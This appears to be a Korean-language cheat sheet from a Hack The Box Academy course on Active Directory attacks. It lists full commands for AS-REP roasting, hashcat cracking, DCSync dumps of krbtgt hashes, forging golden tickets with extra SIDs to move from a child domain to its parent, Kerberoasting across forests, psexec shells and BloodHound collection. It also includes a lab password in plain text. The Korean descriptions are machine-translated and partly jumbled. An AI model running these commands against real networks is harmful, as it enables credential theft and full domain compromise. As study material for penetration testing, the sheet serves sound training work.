for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done

linux, as-rep roasting

.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

Rubeus을 μˆ˜ν–‰ ASEP Roasting attackν•˜κ³  에 λŒ€ν•œ 좜λ ₯ ν˜•μ‹μ„ μ§€μ • ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Hashcat. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt

Hashcat단어 λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ 캑처된 ν•΄μ‹œλ₯Ό ν•΄λ…ν•˜λ €κ³  μ‹œλ„ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ rockyou.txt. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt

λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μžλ₯Ό μ—΄κ±°ν•˜κ³  ASKerberos 사전 인증이 ν•„μš”ν•˜μ§€ μ•Šμ€ μ‚¬μš©μžκ°€ 발견되면 μžλ™μœΌλ‘œ κ²€μƒ‰ν•©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

μ‹ λ’° 관계 - ν•˜μœ„ > μƒμœ„ μ‹ λ’°

λͺ…λ Ή

μ„€λͺ…

Import-Module activedirectory

λͺ¨λ“ˆ 을 κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Active Directory. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ADTrust -Filter *

λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‹ λ’° 관계λ₯Ό μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainTrust

λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‹ λ’° 관계λ₯Ό μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-DomainTrustMapping

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 도메인 μ‹ λ’° 맀핑을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ ν•˜μœ„ λ„λ©”μΈμ˜ μ‚¬μš©μžλ₯Ό μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

Mimikatzλ₯Ό μ‚¬μš©ν•˜μ—¬ Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ KRBTGT계정을 μ–»μŠ΅λ‹ˆλ‹€ .NT Hash

Get-DomainSID

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ ν•˜μœ„ 도메인에 λŒ€ν•œ SIDλ₯Ό κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

Enterprise AdminsWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 그룹의 SIDλ₯Ό μ–»λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

ls \\academy-ea-dc01.inlanefreight.local\c$

λŒ€μƒ 도메인 μ»¨νŠΈλ‘€λŸ¬μ— μžˆλŠ” C λ“œλΌμ΄λΈŒμ˜ λ‚΄μš©μ„ λ‚˜μ—΄ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Mimikatzλ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .Golden Ticket

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Rubeusλ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .Golden Ticket

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm

MimikatzWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ DCSync 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ DCSync 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240

SID Brute forcingLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ SIDλ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

λŒ€μƒ Windows 도메인을 검색 ν•˜κ³  이λ₯Ό Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ SIDEnterprise Admin 그룹에 μ—°κ²°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.RID

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Golden TicketLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λ₯Ό μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .

export KRB5CCNAME=hacker.ccache

KRB5CCNAME Environment VariableLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ„€μ •ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ 도메인 μ»¨νŠΈλ‘€λŸ¬μ™€μ˜ μ…Έ μ„Έμ…˜μ„ μ„€μ •ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

ν•˜μœ„ λ„λ©”μΈμ—μ„œ μƒμœ„ λ„λ©”μΈμœΌλ‘œ ν™•λŒ€λ˜λŠ” 곡격을 μžλ™μœΌλ‘œ μˆ˜ν–‰ν•˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€.

μ‹ λ’° 관계 - 포리슀트 κ°„

λͺ…λ Ή

μ„€λͺ…

Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

SPNsWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ—°κ²°λœ 계정을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof

mssqlsvcWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 계정을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€ .

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ RubeusλŒ€μƒ Windows 도메인( )에 λŒ€ν•΄ Kerberoasting 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ ./domain:FREIGHTLOGISTICS.local

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 도메인에 μ†ν•˜μ§€ μ•Šμ€ μ‚¬μš©μžλ‘œ 그룹을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerView λ„κ΅¬μž…λ‹ˆλ‹€.

Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows μ‹œμŠ€ν…œμ— μ›κ²©μœΌλ‘œ μ—°κ²°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€.

GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ -requestλŒ€μƒ Windows 도메인( )에 μžˆλŠ” κ³„μ •μ˜ TGS 티켓을 μš”μ²­( )ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ .-target-domain

bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

BloodHoundLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인 에 λŒ€ν•΄ Python κ΅¬ν˜„μ„ μ‹€ν–‰ν•©λ‹ˆλ‹€ .

zip -r ilfreight_bh.zip *.json

μ—¬λŸ¬ νŒŒμΌμ„ ν•˜λ‚˜μ˜ 단일 .zip파일둜 μ••μΆ•ν•˜μ—¬ BloodHound GUI에 μ—…λ‘œλ“œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

Last updated